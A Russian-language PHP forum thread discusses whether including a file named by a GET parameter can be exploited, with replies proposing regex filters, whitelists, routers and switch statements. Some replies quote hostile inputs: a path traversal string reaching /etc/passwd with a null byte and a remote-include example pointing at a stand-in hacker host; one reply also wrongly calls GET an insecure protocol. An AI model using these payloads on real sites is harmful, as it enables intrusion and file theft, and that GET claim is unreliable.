Возможно ли взломать сайт через эту часть когда???

$page = $_GET['p'];
		
	if (file_exists(FILE .'/page/'. $page .'.php'))
		include FILE .'/page/'.$page.'.php';

Если ДА, то я думаю пропускать через регулярку переменную $page, т.к. в папке /page/ хранятся файлы только из букв, цифр, и точек.

Т.е. получится что-то похожее на вот этот код

$page = $_GET['p'];
	
	if (preg_replace('/[A-Za-z0-9.]/', '', $page))
		exit();
		
	if (file_exists(FILE .'/page/'. $page .'.php'))
		include FILE .'/page/'.$page.'.php';

Что скажете?

а если например создать этот список файлов в виде массива(или таблица бд). Например $files = array(/* список файлов */); А затем уже проверять if(in_array(page, filles) && file_exists(..)){}

123456, лучше вообще не использовать значения переменных из GET запроса на прямую. Делай это через какой-нибудь роутер.

Я юзаю вот этот: https://github.com/dannyvankooten/AltoRouter

Ну или еще вариант, это "белый список" доступных страниц.
Примерно так:

<?php
$page = isset($_GET['page']) ? $_GET['page'] : null;

$pages = array(
    'users' => '/page/users.php',
    'topics' => '/page/topics.php',
);

if (isset($pages[$page])) {
    include FILE . $pages[$page];
}

_____________
Люди, имеющие низкий уровень квалификации, делают ошибочные выводы, принимают неудачные решения и при этом неспособны осознавать свои ошибки в силу низкого уровня своей квалификации

Раньше (до php 5.3) была опасность "взлома" через передачу в get-запросе строки вида

?p=../../../../../../../../etc/passwd%00

и тд

Но в новых версиях PHP вроде бы эту узявимость пофиксили.
Думаю твой вариант "защиты" достаточен. Но на всякий случай убедиться, что $page не содержит ничего незаконного все же не повредит.

123456, ты решил задачу и не уверен, что сделал это правильно, но при этом счиатешь лишним решение, которое ПОЛНОСТЬ безопасно, да еще и гибче твоего.


_____________
Люди, имеющие низкий уровень квалификации, делают ошибочные выводы, принимают неудачные решения и при этом неспособны осознавать свои ошибки в силу низкого уровня своей квалификации

можно прочесть названия всех файлов в папке, сравнить с переданным параметром, и инклюднуть!

_____________
Ex3m.com.ua — Активный образ жизни

?p=get_file_context('http://hackerhosts.com/hackyoursitescript.php')

как раз из букв и цифр?

С точки зрения безопасности Get это не безопасный протокол потому что передача данных происходит открытым способом.

Если со страницы на страницу используйте session, если со ссылки - используйте куки, из формы post.

$page = $_GET['p'];
	
	if (preg_replace('/[A-Za-z0-9.]/', '', $page))
		exit();

$page = $_GET['p'];
	
	if (preg_replace('/[A-Za-z0-9.]/', '', $page))
		exit();

$page = isset($_GET['page']) ? $_GET['page'] : false;

if($page){
    switch($page){
       case 'about' : $file = 'about.php'; break;
       case 'contacts' : $file = 'contacts.php'; break;
       case 'services' : $file = 'services.php'; break;
       default : $file = 'index.php'; 
   }
}

_____________
HTML, CSS (Bootstrap), JS(JQuery, ExtJS), PHP, MySQL, MSSql, Posgres, (TSql, BI OLAP, MDX), Mongo, Git, SVN, CodeIgnater, Symfony, Yii 2, JiRA, Redmine, Bitbucket, Composer, Rabbit MQ, Amazon (SQS, S3, Transcribe), Docker